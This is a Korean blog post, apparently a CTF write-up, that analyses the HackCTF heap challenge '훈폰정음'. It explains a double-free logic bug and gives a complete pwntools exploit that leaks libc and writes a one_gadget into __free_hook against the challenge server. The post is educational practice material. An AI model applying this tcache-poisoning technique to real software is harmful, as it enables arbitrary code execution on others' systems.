Sechack

HackCTF - 훈폰정음 풀이 본문

Wargame

HackCTF - 훈폰정음 풀이

Sechack 2021. 5. 12. 20:57
반응형

 

main함수이다. add, edit, delete, check, exit 5개의 함수가 각각 메뉴마다 동작하는것같다.

 

 

 

menu함수이다. s변수를 출력하길래 따라가봤더니 유니코드 형태로 나온다. 

 

 

실행시켜보면 s변수는 한글인것을 알 수 있다. 그래서 IDA에서 유니코드 형태로 보인것이었다.

참고로 바이너리 이름도 한글인데 영어로 바꾸고 풀이를 진행하였다.

 

 

add함수이다. smooth함수는 안에 들어가보니까 32byte를 입력받고 atoi를 이용해서 정수로 변환 후에 반환하는 함수이다. index, size, menu를 입력받을때 사용된다. 당연한 얘기지만 저 함수 내부에서 BOF따위는 터지지 않는다.

본론으로 돌아와서 add함수는 index, size, data를 입력받고 index가 0과 같거나 크고 6보다 같거나 작고

size가 0x80000000랑 &연산 했을때 0이어야 하고 1024보다 같거나 작을경우에 malloc로 할당이 진행된다.

즉 우리는 총 7번의 할당 기회가 있고 1024는 0x400이니까 unsorted bin에 한번에 넣지는 못할것이다.

 

 

 

edit함수이다. index를 입력받고 index가 0과 같거나 크고 6보다 같거나 작고 해당 index에 할당된 heap chunk가 있을경우에 데이터를 입력받고 수정해준다.

 

 

 

delete함수이다. 마찬가지로 index를 입력받고 0과 같거나 크고 6보다 같거나 작은지 검증한다. 그리고 edit함수와 마찬가지로 heap chunk가 할당되어있는지 검사하고 할당되어있을경우는 count변수를 1감소시키고 count가 0이 아닐경우에 free를 호출해서 chunk를 해제해준다. 그리고 해제한뒤에 포인터를 초기화하지 않으므로 우리는 해제된 heap chunk에 접근이 가능해지고 DFB도 가능해진다.

 

 

count변수는 5이다. 근데 잘 생각해보면 뭔가 루틴이 좀 이상하다. count변수를 먼저 1 감소시키는 연산을 수행한 다음에 if문으로 검증을 하게된다. 이렇게되면 count변수가 0일때 해제요청이 들어오면 count변수는 -1이 되고 unsigned로 처리된다면 매우 큰 수가 될것이다. 그리고 다시 if문으로 count변수가 0인지 검증한다. 그런데 count변수는 0에서 1을 더 감소시킨 뒤니까 if문에 들어가면 참이 되게 된다. 따라서 free가 진행되게 된다. 즉 count변수를 가지고 free횟수를 체크하는 루틴은 잘못된 설계로 인해서 우리는 검증을 무시하고 여러번 heap chunk를 해제할 수 있다.

이런걸 Logical Bug라고 부르는것 같다.

 

 

 

마지막으로 check함수이다. check보다는 show라는 이름이 더 잘 어울리는것같긴 하다.

이 함수는 앞에서 분석한 함수와 마찬가지로 index를 검증한다. 그리고 해당 index에 heap chunk가 존재하는지 체크한 뒤에 존재한다면 저장되어있는 데이터를 보여준다.

 

 

 

 

 

 

 

 

 

바이너리 분석이 끝났다. libc파일도 같이 주는데 2.27버전의 libc로 tcache bin을 사용하고 DFB에 대한 검증이 없는 libc이다. 따라서 우리는 편안하게 DFB를 사용할 수 있다.

 

일단 앞에서 분석한 delete함수의 잘못된 로직 설계로 인해서 우리는 마음껏 heap chunk를 해제할 수 있다. DFB에 대한 검증이 없으므로 우리는 0x200정도로 size를 줘서 heap chunk를 2개 할당하고 (1개를 할당하면 해제되면서 top chunk랑 병합해버리고 이걸 DFB로 해제하게 된다면 top chunk가 해제되는꼴이 되서 unsorted bin을 이용해서 leak하려고 하면 에러가 난다.) 첫번째로 할당한 heap chunk를 8번 해제해서 unsorted bin에 넣어준다. 

 

libc가 leak되면 fd조작해서 __free_hook에 one_gadget덮고 free호출하면 끝난다. malloc을 7번 할 수 있으니까 DFB이용해서 임의주소 쓰기 해도 되지만 그냥 edit기능 이용해서 tcache bin에 들어간 chunk의 fd를 바로 조작해줬다.

 

 

from pwn import *

#p = process(["./hunpwn"], env={"LD_PRELOAD":"./libc-2.27.so"})
r = remote("ctf.j0n9hyun.xyz", 3041)
e = ELF("./hunpwn")
libc = ELF("./libc-2.27.so")

def add(idx, size, data):
    r.sendlineafter(">> ", "1")
    r.sendlineafter(":\n", str(idx))
    r.sendlineafter(":\n", str(size))
    r.sendlineafter(":\n", data)

def edit(idx, data):
    r.sendlineafter(">> ", "2")
    r.sendlineafter(":\n", str(idx))
    r.sendlineafter(":\n", data)

def free(idx):
    r.sendlineafter(">> ", "3")
    r.sendlineafter(":\n", str(idx))

def show(idx):
    r.sendlineafter(">> ", "4")
    r.sendlineafter(":\n", str(idx))

add(0, 0x200, "Sechack")
add(1, 0x200, "Sechack")

for i in range(8):
    free(0)

show(0)

leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = leak - libc.sym["__malloc_hook"] - 0x70
free_hook = libc_base + libc.sym["__free_hook"]
one_gadget = libc_base + 0x4f322

add(2, 0x10, "Sechack")
free(2)
edit(2, p64(free_hook))

add(3, 0x10, "Sechack")
add(4, 0x10, p64(one_gadget))
free(3)

r.interactive()

 

전체 exploit코드이다. 훈폰정음이 HackCTF Pwnable카테고리의 후반부에 있고 고득점 문제여서 어려울줄 알았는데 그냥 평범한 tcache문제였다.

 

 

 

exploit에 성공했다.

 

 

플래그는 직접 푸시고 얻으시길 바랍니다.

반응형

'Wargame' 카테고리의 다른 글

김민욱님이 주신 웹해킹 문제 풀이  (0) 2021.05.28
LOS - iron_golem 풀이  (0) 2021.05.22
HackCTF - 달라란 침공 풀이  (0) 2021.05.12
HackCTF - wishlist풀이  (0) 2021.05.11
HackCTF - babyfsb 풀이  (0) 2021.05.11
Comments